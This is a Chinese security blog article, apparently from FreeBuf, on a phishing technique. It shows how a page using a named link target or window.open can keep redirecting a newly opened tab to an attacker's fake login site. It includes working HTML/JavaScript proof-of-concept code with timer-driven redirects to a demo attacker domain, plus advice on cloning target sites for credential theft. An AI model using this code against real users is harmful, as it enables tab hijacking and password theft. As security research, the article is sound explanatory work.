當前位置:
首頁 > 新聞 > 前端黑魔法之遠程控制地址欄

前端黑魔法之遠程控制地址欄

*

本文原創作者:phithon,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


由於今天看到一篇文章《危險的 target=」_blank」 與 「opener」》,裡面提到了一個老知識點,就是target=」_blank」的時候,新打開的頁面可以通過window.opener來控制源頁面的URL,進行釣魚攻擊。這個攻擊手法我在博客《神奇的opener對象》中也說過,這裡就不再贅述了。這篇文章拋出另一種與target有關的釣魚攻擊。


0x01 效果演示


首先可以看一個小例子:http://675ba661.2m1.pw/41593a



(點擊查看大圖)

見上圖,打開上述鏈接,然後點擊「click me」,打開了百度。這時查看地址欄,的的確確是百度,然後我們等待10秒,再次查看地址欄,這個時候已經變成攻擊者的網址了;即使此時我們再訪問淘寶等頁面,只要仍然在這個標籤頁下,地址欄就仍然會被控制。


0x02 原理說明


上述頁面的代碼也很簡單:

<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu" onclick="return start()">click me</a>
<script>
function start() {
   setInterval(function() {
       baidu.href="http://675ba661.2m1.pw/baidu";
       baidu.click();
   }, 10000);
}
</script>
</body>
</html>

如果用戶點擊了超鏈接「click me」,這裡會啟動一個循環定時器,每過10秒鐘,將會將超鏈接的地址更換成一個仿百度的釣魚網站,並再次點擊。(當然,如果是真實攻擊的話,最好是做一個真實目標的反代伺服器,這個在我另一篇文章《openresty+lua在反向代理服務中的玩法》中也有詳細的介紹)


這裡,超鏈接的target屬性指定目標URL在哪個頁面下打開,就是目標頁面的window.name。如果這個a標籤的href發生了變化,再次點擊鏈接,頁面仍然會在相同的標籤頁下打開,所以就覆蓋了上一次打開的頁面。

比如,我們是一個「網址導航」類型的惡意網站,用戶在我們網站上打開了百度、淘寶等標籤頁面,我們將可以根據用戶打開的超鏈接來生成釣魚頁面,偽造這些網站的登錄頁面,精準地進行釣魚。我這裡就不進行演示了。


0x03 擴展嘗試


除了超鏈接以外,用window.open也可以達到一樣的效果:

<html>
<head><meta charset="utf-8"></head>
<body>
<a href="javascript:;" onclick="return start()">click me</a>
<script>
function start() {
   var w = window.open("https://www.baidu.com", "baidu");
   setInterval(function() {
       w.location = "http://675ba661.2m1.pw/baidu"
   }, 5000)
}
</script>
</body>
</html>

不過,window.open經常會被廣告攔截相關的功能給阻止掉,所以可能效果不如直接用超鏈接。


那麼,繼續深入研究。這個現象究竟是否和window.name有關呢?那麼是不是我們知道了某個頁面的name,即可對其頁面的URL進行控制?

我們可以做一個實驗。


編寫A頁面( http://a.675ba661.2m1.pw/A_victim ):

<html>
<head><meta charset="utf-8"></head>
<body>
<p>Hello world.</p>
<script>
window.name = "baidu";
</script>
</body>
</html>

編寫B頁面( http://b.675ba661.2m1.pw/B_attacker ):

<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu">click me</a>
</body>
</html>

A頁面是目標網站,其中設置自己的name是baidu;B是攻擊者的頁面,其中設置target="baidu"

顯然,我們在B中點擊「click me」以後,會打開一個新的頁面,而不是修改A頁面的URL。這個實驗說明,URL的遠程控制和window.name沒有直接關係,而是和頁面的父子關係有關。


0x04 總結


本文所描述的攻擊方式和opener的攻擊方式比較相似,都是在不能跨域的情況下,控制目標標籤頁的URL,進而進行釣魚攻擊。


但我覺得這個攻擊持久型更佳,因為即使用戶在新標籤中輸入自己的域名,或者又通過超鏈接點擊到其他網站里,這個頁面的地址欄永遠是受到源頁面的控制的。理論上在源頁面不關閉的情況下,可以永久控制新頁面的地址欄。


*本文原創作者:phithon,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Python工具分析風險數據
晶元漏洞後續:蘋果發布Spectre漏洞修復補丁;微軟KB4056892補丁造成系統和應用程序崩潰;英特爾惹上官司

TAG:FreeBuf |